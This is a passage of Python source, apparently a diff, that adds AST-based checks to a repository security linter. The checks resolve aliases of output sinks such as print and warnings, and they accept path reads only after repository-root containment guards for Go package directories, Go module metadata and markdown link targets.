isinstance(node.func, ast.Name) and tree is not None: + sink_aliases = getattr(tree, "_issue79_sensitive_output_sink_aliases", None) + if sink_aliases is None: + targets = ( + "print", + "builtins.print", + "sys.exit", + "sys.displayhook", + "sys.excepthook", + "warnings.warn", + "warnings.warn_explicit", + "warnings.showwarning", + "traceback.print_exc", + "traceback.print_exception", + ) + tuple(warning_targets) + python_assigned_callable_alias("", targets[0], tree) + assignment_index = getattr(tree, "_issue79_callable_alias_index", {}) + sink_aliases = { + name + for name in assignment_index + if any( + python_assigned_callable_alias(name, target, tree) + for target in targets + ) + or python_assigned_sink_method_alias(name, tree) + } + tree._issue79_sensitive_output_sink_aliases = sink_aliases + if node.func.id in sink_aliases: + return True + if python_sensitive_imported_function_alias(node.func, tree): + return True + return ( + isinstance(node.func, ast.Attribute) + and node.func.attr.casefold() in python_sensitive_sink_methods + ) + + +def python_path_division_names(node): + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return python_path_division_names(node.left) + python_path_division_names( + node.right + ) + return [node.id] if isinstance(node, ast.Name) else [] + + +def python_try_in_unreachable_if_body(node, parents): + def condition_value(test): + if isinstance(test, ast.Constant): + return bool(test.value) + if isinstance(test, ast.UnaryOp) and isinstance(test.op, ast.Not): + value = condition_value(test.operand) + return None if value is None else not value + if ( + isinstance(test, ast.Compare) + and isinstance(test.left, ast.Name) + and test.left.id == "module_dir" + and len(test.ops) == 1 + and len(test.comparators) == 1 + and isinstance(test.comparators[0], ast.Constant) + and test.comparators[0].value == "experiments/g01-scaleset" + ): + if isinstance(test.ops[0], ast.Eq): + return True + if isinstance(test.ops[0], ast.NotEq): + return False + return None + + current = node + while current in parents: + parent = parents[current] + if isinstance(parent, ast.If): + condition = condition_value(parent.test) + if (condition is False and current in parent.body) or ( + condition is True and current in parent.orelse + ): + return True + current = parent + return False + + +def python_reviewed_go_package_directory(node, tree, parents): + """Accept only the canonical zero-argument source-fuzz package guard.""" + scope = python_enclosing_scope(node, parents) + source_guards = [ + candidate for candidate in tree.body + if isinstance(candidate, ast.FunctionDef) + and candidate.name == "source_fuzz_guard" + ] + if not ( + isinstance(node, ast.Name) + and node.id == "package_dir" + and len(source_guards) == 1 + and source_guards[0] is scope + and isinstance(scope, ast.FunctionDef) + and scope.name == "source_fuzz_guard" + and not scope.decorator_list + and not scope.args.posonlyargs + and not scope.args.args + and not scope.args.kwonlyargs + and scope.args.vararg is None + and scope.args.kwarg is None + ): + return False + + def target_has_name(target, name): + if isinstance(target, ast.Name): + return target.id == name + if isinstance(target, (ast.Tuple, ast.List)): + return any(target_has_name(element, name) for element in target.elts) + return False + + def top_level_assignments(name): + found = [] + for statement in tree.body: + if isinstance(statement, ast.Assign): + if any(target_has_name(target, name) for target in statement.targets): + found.append((statement, statement.value)) + elif isinstance(statement, ast.AnnAssign) and target_has_name(statement.target, name): + found.append((statement, statement.value)) + return found + + def has_raising_guard(name, expected, expected_name=False): + for statement in tree.body: + if not isinstance(statement, ast.If) or not isinstance(statement.test, ast.Compare): + continue + test = statement.test + if not ( + isinstance(test.left, ast.Name) + and test.left.id == name + and len(test.ops) == 1 + and isinstance(test.ops[0], ast.NotEq) + and len(test.comparators) == 1 + and ( + ( + expected_name + and isinstance(test.comparators[0], ast.Name) + and test.comparators[0].id == expected + ) + or ( + not expected_name + and isinstance(test.comparators[0], ast.Constant) + and test.comparators[0].value == expected + ) + ) + and len(statement.body) == 1 + and isinstance(statement.body[0], ast.Raise) + and not statement.orelse + ): + continue + return True + return False + + module_values = top_level_assignments("module_values") + module_directory = top_level_assignments("module_dir") + if not ( + len(module_values) == 1 + and isinstance(module_values[0][1], ast.Call) + and python_dotted_name(module_values[0][1].func) == "flag_values" + and len(module_values[0][1].args) == 2 + and isinstance(module_values[0][1].args[0], ast.Name) + and module_values[0][1].args[0].id == "test_args" + and isinstance(module_values[0][1].args[1], ast.Constant) + and module_values[0][1].args[1].value == "-C" + and len(module_directory) == 1 + and isinstance(module_directory[0][1], ast.Subscript) + and isinstance(module_directory[0][1].value, ast.Name) + and module_directory[0][1].value.id == "module_values" + and isinstance(module_directory[0][1].slice, ast.Constant) + and module_directory[0][1].slice.value == 0 + and has_raising_guard("module_dir", "experiments/g01-scaleset") + ): + return False + + package_values = top_level_assignments("package_value") + actual_packages = top_level_assignments("actual_package") + if not ( + len(package_values) == 1 + and isinstance(package_values[0][1], ast.Subscript) + and isinstance(package_values[0][1].value, ast.Name) + and package_values[0][1].value.id == "list_base_args" + and isinstance(package_values[0][1].slice, ast.Subscript) + and isinstance(package_values[0][1].slice.value, ast.Name) + and package_values[0][1].slice.value.id == "package_indices" + and len(actual_packages) == 1 + and isinstance(actual_packages[0][1], ast.JoinedStr) + and {field.value.id for field in ast.walk(actual_packages[0][1]) + if isinstance(field, ast.FormattedValue) and isinstance(field.value, ast.Name)} + >= {"module_dir", "package_value"} + ): + return False + if not has_raising_guard("actual_package", "expected_package", expected_name=True): + return False + + invocation_roots = top_level_assignments("invocation_root") + if len(invocation_roots) != 1: + return False + invocation_root_value = invocation_roots[0][1] + if not ( + isinstance(invocation_root_value, ast.Call) + and isinstance(invocation_root_value.func, ast.Attribute) + and invocation_root_value.func.attr == "resolve" + and not invocation_root_value.args + and not invocation_root_value.keywords + and isinstance(invocation_root_value.func.value, ast.Call) + and python_dotted_name(invocation_root_value.func.value.func) == "Path.cwd" + and not invocation_root_value.func.value.args + and not invocation_root_value.func.value.keywords + ): + return False + + repo_roots = top_level_assignments("repo_root") + if len(repo_roots) != 1: + return False + repo_root_value = repo_roots[0][1] + if not ( + isinstance(repo_root_value, ast.Call) + and isinstance(repo_root_value.func, ast.Attribute) + and repo_root_value.func.attr == "resolve" + and not repo_root_value.args + and not repo_root_value.keywords + and isinstance(repo_root_value.func.value, ast.Call) + and python_dotted_name(repo_root_value.func.value.func) == "Path" + and len(repo_root_value.func.value.args) == 1 + and not repo_root_value.func.value.keywords + ): + return False + root_path_argument = repo_root_value.func.value.args[0] + if not ( + isinstance(root_path_argument, ast.Call) + and isinstance(root_path_argument.func, ast.Attribute) + and root_path_argument.func.attr == "strip" + and not root_path_argument.args + and isinstance(root_path_argument.func.value, ast.Call) + and python_dotted_name(root_path_argument.func.value.func) == "subprocess.check_output" + and root_path_argument.func.value.args + ): + return False + check_output_call = root_path_argument.func.value + check_output_keywords = { + keyword.arg: keyword.value for keyword in check_output_call.keywords + } + if not ( + len(check_output_call.args) == 1 + and set(check_output_keywords) == {"cwd", "env", "text"} + and isinstance(check_output_keywords["cwd"], ast.Name) + and check_output_keywords["cwd"].id == "invocation_root" + and isinstance(check_output_keywords["env"], ast.Name) + and check_output_keywords["env"].id == "root_git_environment" + and python_git_environment_isolated( + check_output_keywords["env"], tree, parents + ) + and isinstance(check_output_keywords["text"], ast.Constant) + and check_output_keywords["text"].value is True + ): + return False + git_root_call = check_output_call.args[0] + if not ( + isinstance(git_root_call, ast.Call) + and python_dotted_name(git_root_call.func) == "git_command" + and len(git_root_call.args) == 1 + and not git_root_call.keywords + and isinstance(git_root_call.args[0], (ast.List, ast.Tuple)) + and [ + item.value for item in git_root_call.args[0].elts + if isinstance(item, ast.Constant) + ] == ["rev-parse", "--show-toplevel"] + and has_raising_guard("invocation_root", "repo_root", expected_name=True) + ): + return False + + initializers = [ + candidate for candidate in tree.body + if isinstance(candidate, ast.FunctionDef) + and candidate.name == "package_initialization_guard" + ] + if not ( + len(initializers) == 1 + and not initializers[0].decorator_list + and not initializers[0].args.posonlyargs + and not initializers[0].args.args + and not initializers[0].args.kwonlyargs + and initializers[0].args.vararg is None + and initializers[0].args.kwarg is None + ): + return False + initializer = initializers[0] + snapshot_binding = None + root_binding = None + snapshot_bindings = [] + root_bindings = [] + for candidate in ast.walk(initializer): + if python_enclosing_scope(candidate, parents) is not initializer: + continue + if isinstance(candidate, ast.Assign): + if any(target_has_name(target, "source_snapshot_root") for target in candidate.targets): + snapshot_binding = candidate + snapshot_bindings.append(candidate) + if any(target_has_name(target, "go_repo_root") for target in candidate.targets): + root_binding = candidate + root_bindings.append(candidate) + if not ( + len(snapshot_bindings) == 1 + and len(root_bindings) == 1 + and snapshot_binding is not None + and isinstance(snapshot_binding.value, ast.Call) + and python_dotted_name(snapshot_binding.value.func) == "create_immutable_source_snapshot" + and len(snapshot_binding.value.args) == 2 + and [ + argument.id for argument in snapshot_binding.value.args + if isinstance(argument, ast.Name) + ] == ["repo_root", "module_dir"] + and len(snapshot_binding.value.keywords) == 1 + and snapshot_binding.value.keywords[0].arg == "env" + and isinstance(snapshot_binding.value.keywords[0].value, ast.Name) + and snapshot_binding.value.keywords[0].value.id == "package_git_environment" + and python_git_environment_isolated( + snapshot_binding.value.keywords[0].value, tree, parents + ) + and root_binding is not None + and isinstance(root_binding.value, ast.Name) + and root_binding.value.id == "source_snapshot_root" + and snapshot_binding.end_lineno < root_binding.lineno + ): + return False + source_snapshot_roots = top_level_assignments("source_snapshot_root") + if not ( + len(source_snapshot_roots) == 1 + and isinstance(source_snapshot_roots[0][1], ast.Constant) + and source_snapshot_roots[0][1].value is None + ): + return False + + root_names = { + "invocation_root", "repo_root", "module_dir", "package_value", + "actual_package", "source_snapshot_root", "go_repo_root", + } + approved_store_nodes = set() + for name in root_names: + assignments = top_level_assignments(name) + if name == "go_repo_root" and not ( + len(assignments) == 1 + and isinstance(assignments[0][1], ast.Name) + and assignments[0][1].id == "repo_root" + ): + return False + for statement, _value in assignments: + targets = statement.targets if isinstance(statement, ast.Assign) else [statement.target] + approved_store_nodes.update( + target_node + for target in targets + for target_node in ast.walk(target) + if isinstance(target_node, ast.Name) and target_node.id == name + ) + approved_store_nodes.update( + target_node + for target in root_binding.targets + for target_node in ast.walk(target) + if isinstance(target_node, ast.Name) and target_node.id == "go_repo_root" + ) + approved_store_nodes.update( + target_node + for target in snapshot_binding.targets + for target_node in ast.walk(target) + if isinstance(target_node, ast.Name) and target_node.id == "source_snapshot_root" + ) + if any( + isinstance(candidate, ast.Name) + and candidate.id in root_names + and isinstance(candidate.ctx, ast.Store) + and candidate not in approved_store_nodes + for candidate in ast.walk(tree) + ): + return False + + initialization_calls = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == "package_initialization_guard" + ] + fuzz_guard_calls = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == "source_fuzz_guard" + ] + fuzz_guard_call = next( + ( + candidate for candidate in fuzz_guard_calls + if not candidate.args + and not candidate.keywords + and isinstance(parents.get(candidate), ast.Expr) + and parents.get(parents.get(candidate)) is tree + ), + None, + ) + initialization_call = next( + ( + candidate for candidate in initialization_calls + if not candidate.args + and not candidate.keywords + and isinstance(parents.get(candidate), ast.Assign) + and any( + isinstance(target, ast.Name) and target.id == "test_source_paths" + for target in parents[candidate].targets + ) + and parents.get(parents.get(candidate)) is tree + ), + None, + ) + if not ( + len(fuzz_guard_calls) == 1 + and fuzz_guard_call is not None + and len(initialization_calls) == 1 + and initialization_call is not None + and initialization_call.lineno < fuzz_guard_call.lineno + ): + return False + + expected_package = ["go_repo_root", "module_dir", "package_value"] + package_assignment = False + for candidate in ast.walk(scope): + if python_enclosing_scope(candidate, parents) is not scope: + continue + if not isinstance(candidate, ast.Assign) or not any( + isinstance(target, ast.Name) and target.id == "package_dir" + for target in candidate.targets + ): + continue + value = candidate.value + if not ( + isinstance(value, ast.Call) + and isinstance(value.func, ast.Attribute) + and value.func.attr == "resolve" + and not value.args + and not value.keywords + and python_path_division_names(value.func.value) == expected_package + ): + return False + package_assignment = True + if not package_assignment: + return False + expected_root = ["go_repo_root", "module_dir"] + for candidate in ast.walk(scope): + if ( + not isinstance(candidate, ast.Try) + or candidate.end_lineno >= node.lineno + or parents.get(candidate) is not scope + or python_try_in_unreachable_if_body(candidate, parents) + ): + continue + if python_enclosing_scope(candidate, parents) is not scope: + continue + guarded = ( + len(candidate.body) == 1 + and isinstance(candidate.body[0], ast.Expr) + and isinstance(candidate.body[0].value, ast.Call) + and python_dotted_name(candidate.body[0].value.func) + == "package_dir.relative_to" + and len(candidate.body[0].value.args) == 1 + and python_path_division_names(candidate.body[0].value.args[0]) + == expected_root + ) + fail_closed = any( + isinstance(handler.type, ast.Name) + and handler.type.id == "ValueError" + and len(handler.body) == 1 + and isinstance(handler.body[0], ast.Raise) + for handler in candidate.handlers[:1] + ) + if guarded and fail_closed: + return True + return False + + +def python_reviewed_go_module_metadata_path(node, tree, parents): + """Prove a module metadata path came from the reviewed Go module query.""" + if not ( + isinstance(node, ast.Call) + and python_dotted_name(node.func) in {"Path", "pathlib.Path"} + and len(node.args) == 1 + and not node.keywords + and isinstance(node.args[0], ast.Subscript) + and isinstance(node.args[0].value, ast.Name) + and node.args[0].value.id == "module" + and isinstance(node.args[0].slice, ast.Constant) + and node.args[0].slice.value in {"GoMod", "Dir"} + ): + return False + scope = python_enclosing_scope(node, parents) + if not isinstance(scope, ast.FunctionDef) or scope.name != "verify_downloaded_module_sources": + return False + module_loop = any( + isinstance(candidate, ast.For) + and isinstance(candidate.target, ast.Name) + and candidate.target.id == "module" + and isinstance(candidate.iter, ast.Name) + and candidate.iter.id == "modules" + and python_enclosing_scope(candidate, parents) is scope + for candidate in ast.walk(scope) + ) + modules_from_json = False + download_from_go_list = False + for candidate in ast.walk(scope): + if not isinstance(candidate, ast.Assign): + continue + targets = { + target.id for target in candidate.targets if isinstance(target, ast.Name) + } + value = candidate.value + if ( + "modules" in targets + and isinstance(value, ast.Call) + and python_dotted_name(value.func) == "json_objects" + and value.args + and isinstance(value.args[0], ast.Attribute) + and isinstance(value.args[0].value, ast.Name) + and value.args[0].value.id == "download" + and value.args[0].attr == "stdout" + ): + modules_from_json = True + if ( + "download" in targets + and isinstance(value, ast.Call) + and python_dotted_name(value.func) == "run_go_child" + and value.args + and isinstance(value.args[0], (ast.List, ast.Tuple)) + ): + argv = [ + item.value for item in value.args[0].elts if isinstance(item, ast.Constant) + ] + download_from_go_list = argv == ["go", "mod", "download", "-json", "all"] + return module_loop and modules_from_json and download_from_go_list + + +def python_reviewed_markdown_link_target_path(node, tree, parents): + """Allow link-target existence checks only after repository-root containment.""" + if not isinstance(node, ast.Name) or node.id != "path": + return False + link_loop = None + current = node + while current is not None: + if ( + isinstance(current, ast.For) + and isinstance(current.target, ast.Name) + and current.target.id == "match" + and isinstance(current.iter, ast.Call) + and python_dotted_name(current.iter.func) == "link.finditer" + and current.iter.args + and isinstance(current.iter.args[0], ast.Name) + and current.iter.args[0].id == "markdown" + ): + link_loop = current + break + current = parents.get(current) + if link_loop is None: + return False + source_loop = next( + ( + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.For) + and isinstance(candidate.target, ast.Name) + and candidate.target.id == "name" + and isinstance(candidate.iter, ast.Name) + and candidate.iter.id == "files" + and python_enclosing_scope(candidate, parents) + is python_enclosing_scope(link_loop, parents) + ), + None, + ) + source_from_git_markdown = source_loop is not None and any( + isinstance(candidate, ast.Assign) + and any( + isinstance(target, ast.Name) and target.id == "source" + for target in candidate.targets + ) + and isinstance(candidate.value, ast.Call) + and python_reviewed_markdown_file_value(candidate.value, tree, parents) + for candidate in ast.walk(source_loop) + ) + target_from_link_text = any( + isinstance(candidate, ast.Assign) + and any( + isinstance(target, ast.Name) and target.id == "target" + for target in candidate.targets + ) + and any( + isinstance(call_node, ast.Call) + and python_dotted_name(call_node.func) == "match.group" + and call_node.args + and isinstance(call_node.args[0], ast.Constant) + and call_node.args[0].value == 1 + for call_node in ast.walk(candidate.value) + ) + for candidate in ast.walk(link_loop) + ) + target_path_assignments = [ + candidate + for candidate in ast.walk(link_loop) + if isinstance(candidate, ast.Assign) + and candidate.end_lineno < node.lineno + and any( + isinstance(target, ast.Name) and target.id == "path" + for target in candidate.targets + ) + and isinstance(candidate.value, ast.Call) + and isinstance(candidate.value.func, ast.Attribute) + and candidate.value.func.attr == "resolve" + and not candidate.value.args + and not candidate.value.keywords + and isinstance(candidate.value.func.value, ast.BinOp) + and isinstance(candidate.value.func.value.op, ast.Div) + and isinstance(candidate.value.func.value.left, ast.Attribute) + and candidate.value.func.value.left.attr == "parent" + and isinstance(candidate.value.func.value.left.value, ast.Name) + and candidate.value.func.value.left.value.id == "source" + and isinstance(candidate.value.func.value.right, ast.Name) + and candidate.value.func.value.right.id == "target" + ] + target_path_assignment = bool(target_path_assignments) + reviewed_path_bindings = { + target: assignment + for assignment in target_path_assignments + for target in assignment.targets + if isinstance(target, ast.Name) and target.id == "path" + } + path_bindings = sorted( + ( + candidate + for candidate in ast.walk(link_loop) + if isinstance(candidate, ast.Name) + and candidate.id == "path" + and isinstance(candidate.ctx, (ast.Store, ast.Del)) + and python_enclosing_scope(candidate, parents) + is python_enclosing_scope(node, parents) + ), + key=lambda candidate: (candidate.lineno, candidate.col_offset), + ) + + def source_position(candidate): + return candidate.lineno, candidate.col_offset + + def containing_suite(statement): + parent = parents.get(statement) + if parent is None: + return None + for field in ("body", "orelse", "finalbody"): + suite = getattr(parent, field, None) + if isinstance(suite, list) and any(item is statement for item in suite): + return parent, field + return None + + guarded = False + for candidate in ast.walk(link_loop): + if not isinstance(candidate, ast.Try) or candidate.end_lineno >= node.lineno: + continue + containment_checks = [ + statement.value + for statement in candidate.body + if isinstance(statement, ast.Expr) + and isinstance(statement.value, ast.Call) + and isinstance(statement.value.func, ast.Attribute) + and statement.value.func.attr == "relative_to" + and isinstance(statement.value.func.value, ast.Name) + and statement.value.func.value.id == "path" + and len(statement.value.args) == 1 + and isinstance(statement.value.args[0], ast.Name) + and statement.value.args[0].id == "repository_root" + ] + checks_repository_root = bool(containment_checks) + skips_outside_paths = any( + isinstance(handler.type, ast.Name) + and handler.type.id == "ValueError" + and any( + isinstance(statement, ast.Continue) for statement in handler.body + ) + for handler in candidate.handlers + ) + if containment_checks: + containment_position = source_position(containment_checks[0]) + latest_bindings = [ + binding + for binding in path_bindings + if source_position(binding) < containment_position + ] + latest_binding = latest_bindings[-1] if latest_bindings else None + reviewed_assignment = reviewed_path_bindings.get(latest_binding) + same_suite_as_target = ( + reviewed_assignment is not None + and containing_suite(candidate) + == containing_suite(reviewed_assignment) + ) + no_later_path_rebind = not any( + containment_position < source_position(binding) < source_position(node) + for binding in path_bindings + ) + else: + same_suite_as_target = False + no_later_path_rebind = False + if ( + checks_repository_root + and skips_outside_paths + and same_suite_as_target + and no_later_path_rebind + and not python_try_in_unreachable_if_body(candidate, parents) + ): + guarded = True + break + return ( + source_loop is not None + and source_from_git_markdown + and target_from_link_text + and target_path_assignment + and guarded + ) + + +def python_reviewed_path_reader(node, method, tree, parents): + if python_reviewed_read_path(node, tree, parents): + return True + if method == "read_text" and python_reviewed_markdown_source_path( + node, tree, parents + ): + return True + if method in {"glob", "rglob", "iterdir", "walk", "is_dir"} and ( + python_reviewed_go_package_directory(node, tree, parents) + ): + return True + if method in {"is_file", "is_dir"} and python_reviewed_go_module_metadata_path( + node, tree, parents + ): + return True + return method in {"is_file", "read_text"} and python_reviewed_markdown_link_target_path( + node, tree, parents + ) + + +def python_path_constructor_aliases(tree): + """Resolve only imports and assignments that alias pathlib.Path itself.""" + module_aliases = set() + constructor_aliases = set() + assignments = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Import): + for alias in candidate.names: + if alias.name == "pathlib": + module_aliases.add(alias.asname or "pathlib") + elif isinstance(candidate, ast.ImportFrom) and candidate.module == "pathlib": + for alias in candidate.names: + if alias.name == "Path": + constructor_aliases.add(alias.asname or alias.name) + elif isinstance(candidate, ast.Assign): + assignments.extend((target, candidate.value) for target in candidate.targets) + elif isinstance(candidate, ast.AnnAssign) and candidate.value is not None: + assignments.append((candidate.target, candidate.value)) + elif isinstance(candidate, ast.NamedExpr): + assignments.append((candidate.target, candidate.value)) + + def is_constructor(value): + if isinstance(value, ast.Name): + return value.id in constructor_aliases + if isinstance(value, ast.Attribute): + return ( + isinstance(value.value, ast.Name) + and value.value.id in module_aliases + and value.attr == "Path" + ) + return False + + for _ in range(len(assignments) + 1): + changed = False + for target, value in assignments: + if not isinstance(target, ast.Name) or not is_constructor(value): + continue + if target.id not in constructor_aliases: + constructor_aliases.add(target.id) + changed = True + if not changed: + break + return module_aliases, constructor_aliases + + +def python_path_typed_parameter(node, tree, parents): + """Recognize parameters annotated with an imported pathlib.Path.""" + if not isinstance(node, ast.Name): + return False + module_aliases, constructor_aliases = python_path_constructor_aliases(tree) + current = node + while current is not None and not isinstance( + current, (ast.FunctionDef, ast.AsyncFunctionDef) + ): + current = parents.get(current) + if current is None: + return False + arguments = ( + list(current.args.posonlyargs) + + list(current.args.args) + + list(current.args.kwonlyargs) + ) + for argument in arguments: + if argument.arg != node.id or argument.annotation is None: + continue + for annotation in ast.walk(argument.annotation): + if isinstance(annotation, ast.Name) and annotation.id in constructor_aliases: + return True + if ( + isinstance(annotation, ast.Attribute) + and annotation.attr == "Path" + and isinstance(annotation.value, ast.Name) + and annotation.value.id in module_aliases + ): + return True + return False + + +def python_imported_module_alias_is_stable(name, module, tree): + """Require the imported module name to have no competing binding.""" + imported = False + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Name) and candidate.id == name and isinstance(candidate.ctx, ast.Store): + return False + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and candidate.name == name: + return False + if isinstance(candidate, ast.arg) and candidate.arg == name: + return False + if isinstance(candidate, ast.Import): + for alias in candidate.names: + local = alias.asname or alias.name.split(".", 1)[0] + if local == name: + if alias.name != module: + return False + imported = True + elif isinstance(candidate, ast.ImportFrom): + for alias in candidate.names: + if (alias.asname or alias.name) == name: + return False + return imported + + +def python_imported_function_alias_is_stable(name, module, function, tree): + """Require an imported pure helper alias to have no competing binding.""" + imported = False + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Name) and candidate.id == name and isinstance(candidate.ctx, ast.Store): + return False + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and candidate.name == name: + return False + if isinstance(candidate, ast.arg) and candidate.arg == name: + return False + if isinstance(candidate, ast.Import): + for alias in candidate.names: + if (alias.asname or alias.name.split(".", 1)[0]) == name: + return False + elif isinstance(candidate, ast.ImportFrom): + for alias in candidate.names: + if (alias.asname or alias.name) != name: + continue + if candidate.level or candidate.module != module or alias.name != function: + return False + imported = True + return imported + + +def python_sensitive_alias_scope(node, parents): + """Return the nearest function, class, comprehension, or module scope.""" + current = node + while current is not None: + if isinstance( + current, + ( + ast.FunctionDef, + ast.AsyncFunctionDef, + ast.Lambda, + ast.ClassDef, + ast.ListComp, + ast.SetComp, + ast.DictComp, + ast.GeneratorExp, + ast.Module, + ), + ): + return current + current = parents.get(current) + return None + + +def python_sensitive_alias_scope_chain(node, parents): + """Resolve lexical scopes for sink aliases without counting unrelated locals.""" + scope = python_sensitive_alias_scope(node, parents) + chain = [] + seen = set() + while scope is not None and id(scope) not in seen: + seen.add(id(scope)) + chain.append(scope) + if isinstance(scope, ast.Module): + break + parent = parents.get(scope) + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + if isinstance(parent, ast.ClassDef): + parent = parents.get(parent) + scope = python_sensitive_alias_scope(parent, parents) + return chain + + +def python_sensitive_alias_binding_scope(node, parents): + """Map comprehension walrus stores to their containing Python scope.""" + scope = python_sensitive_alias_scope(node, parents) + target = parents.get(node) + if not isinstance(target, ast.NamedExpr) or target.target is not node: + return scope + while isinstance( + scope, + (ast.ListComp, ast.SetComp, ast.DictComp, ast.GeneratorExp), + ): + scope = python_sensitive_alias_scope(parents.get(scope), parents) + return scope + + +def python_sensitive_imported_function_alias(node, tree, parents=None, seen=None): + """Resolve sensitive imported callables in the reference's binding scope.""" + if not isinstance(node, ast.Name) or tree is None: + return False + if parents is None: + parents = getattr(tree, "_issue79_sensitive_alias_parents", None) + if parents is None: + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + tree._issue79_sensitive_alias_parents = parents + if seen is None: + seen = set() + scopes = python_sensitive_alias_scope_chain(node, parents) + binding_index = getattr(tree, "_issue79_sensitive_imported_alias_bindings", None) + if binding_index is None: + binding_index = {} + + def add(scope, name, kind, binding): + binding_index.setdefault((id(scope), name), []).append((kind, binding)) + + declarations = {} + for candidate in ast.walk(tree): + if isinstance(candidate, (ast.Global, ast.Nonlocal)): + scope = python_sensitive_alias_scope(candidate, parents) + kind = "global" if isinstance(candidate, ast.Global) else "nonlocal" + for name in candidate.names: + declarations.setdefault((id(scope), name), set()).add(kind) + + local_names = {} + + def record_local(scope, name): + if scope is None: + return + kinds = declarations.get((id(scope), name), set()) + if not isinstance(scope, ast.Module) and kinds.intersection( + {"global", "nonlocal"} + ): + return + local_names.setdefault(id(scope), set()).add(name) + + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Store): + record_local( + python_sensitive_alias_binding_scope(candidate, parents), + candidate.id, + ) + elif isinstance(candidate, ast.arg): + record_local( + python_sensitive_alias_scope(candidate, parents), + candidate.arg, + ) + elif isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + record_local( + python_sensitive_alias_scope(parents.get(candidate), parents), + candidate.name, + ) + elif isinstance(candidate, ast.Import): + scope = python_sensitive_alias_scope(candidate, parents) + for alias in candidate.names: + record_local(scope, alias.asname or alias.name.split(".", 1)[0]) + elif isinstance(candidate, ast.ImportFrom): + scope = python_sensitive_alias_scope(candidate, parents) + for alias in candidate.names: + record_local(scope, alias.asname or alias.name) + elif isinstance(candidate, ast.ExceptHandler) and candidate.name: + record_local( + python_sensitive_alias_scope(candidate, parents), + candidate.name, + ) + elif isinstance(candidate, (ast.MatchAs, ast.MatchStar)) and candidate.name: + record_local( + python_sensitive_alias_scope(candidate, parents), + candidate.name, + ) + elif isinstance(candidate, ast.MatchMapping) and candidate.rest: + record_local( + python_sensitive_alias_scope(candidate, parents), + candidate.rest, + ) + + def binding_owner(scope, name, context): + kinds = declarations.get((id(scope), name), ()) + if "global" in kinds and not isinstance(scope, ast.Module): + return next( + (candidate for candidate in reversed( + python_sensitive_alias_scope_chain(context, parents) + ) if isinstance(candidate, ast.Module)), + None, + ) + if "nonlocal" in kinds: + scopes = python_sensitive_alias_scope_chain(context, parents) + passed_current = False + for candidate in scopes: + if candidate is scope: + passed_current = True + continue + if ( + passed_current + and isinstance( + candidate, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda), + ) + and name in local_names.get(id(candidate), ()) + ): + return candidate + return None + return scope + + def add_owned(scope, name, kind, binding, context): + owner = binding_owner(scope, name, context) + if owner is None: + add(scope, name, "unresolved", binding) + else: + add(owner, name, kind, binding) + + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Store): + scope = python_sensitive_alias_binding_scope(candidate, parents) + target = parents.get(candidate) + if ( + isinstance(target, ast.Assign) + and len(target.targets) == 1 + and target.targets[0] is candidate + ) or ( + isinstance(target, (ast.AnnAssign, ast.NamedExpr)) + and target.target is candidate + ): + add_owned(scope, candidate.id, "assignment", target, candidate) + else: + add_owned(scope, candidate.id, "unknown", candidate, candidate) + elif isinstance(candidate, ast.arg): + add( + python_sensitive_alias_scope(candidate, parents), + candidate.arg, + "unknown", + candidate, + ) + elif isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + context = parents.get(candidate) + scope = python_sensitive_alias_scope(context, parents) + add_owned( + scope, + candidate.name, + "unknown", + candidate, + context, + ) + elif isinstance(candidate, ast.Import): + scope = python_sensitive_alias_scope(candidate, parents) + for alias in candidate.names: + add_owned( + scope, + alias.asname or alias.name.split(".", 1)[0], + "unknown", + candidate, + candidate, + ) + elif isinstance(candidate, ast.ImportFrom): + scope = python_sensitive_alias_scope(candidate, parents) + for alias in candidate.names: + add_owned( + scope, + alias.asname or alias.name, + "import", + (candidate, alias), + candidate, + ) + elif isinstance(candidate, ast.Global): + scope = python_sensitive_alias_scope(candidate, parents) + for name in candidate.names: + add(scope, name, "global", candidate) + elif isinstance(candidate, ast.Nonlocal): + scope = python_sensitive_alias_scope(candidate, parents) + for name in candidate.names: + add(scope, name, "nonlocal", candidate) + elif isinstance(candidate, ast.ExceptHandler) and candidate.name: + scope = python_sensitive_alias_scope(candidate, parents) + add_owned( + scope, + candidate.name, + "unknown", + candidate, + candidate, + ) + elif isinstance(candidate, (ast.MatchAs, ast.MatchStar)) and candidate.name: + scope = python_sensitive_alias_scope(candidate, parents) + add_owned( + scope, + candidate.name, + "unknown", + candidate, + candidate, + ) + elif isinstance(candidate, ast.MatchMapping) and candidate.rest: + scope = python_sensitive_alias_scope(candidate, parents) + add_owned( + scope, + candidate.rest, + "unknown", + candidate, + candidate, + ) + tree._issue79_sensitive_imported_alias_bindings = binding_index + + def resolves(reference, visited, scope_chain=None): + if not isinstance(reference, ast.Name): + return False + if scope_chain is None: + scope_chain = python_sensitive_alias_scope_chain(reference, parents) + for scope in scope_chain: + key = (id(scope), reference.id) + if key in visited: + return False + bindings = binding_index.get(key, ()) + if not bindings: + continue + kinds = {kind for kind, _ in bindings} + if "global" in kinds and not isinstance(scope, ast.Module): + if "unresolved" in kinds: + return True + module_scope = next( + (candidate for candidate in reversed(scope_chain) + if isinstance(candidate, ast.Module)), + None, + ) + if module_scope is None: + return False + return resolves( + reference, + visited | {key}, + [module_scope], + ) + if "nonlocal" in kinds: + if "unresolved" in kinds: + return True + continue + for kind, binding in bindings: + if kind == "import": + imported, alias = binding + if ( + imported.level == 0 + and imported.module in { + "builtins", + "sys", + "warnings", + "traceback", + } + and alias.name + in { + 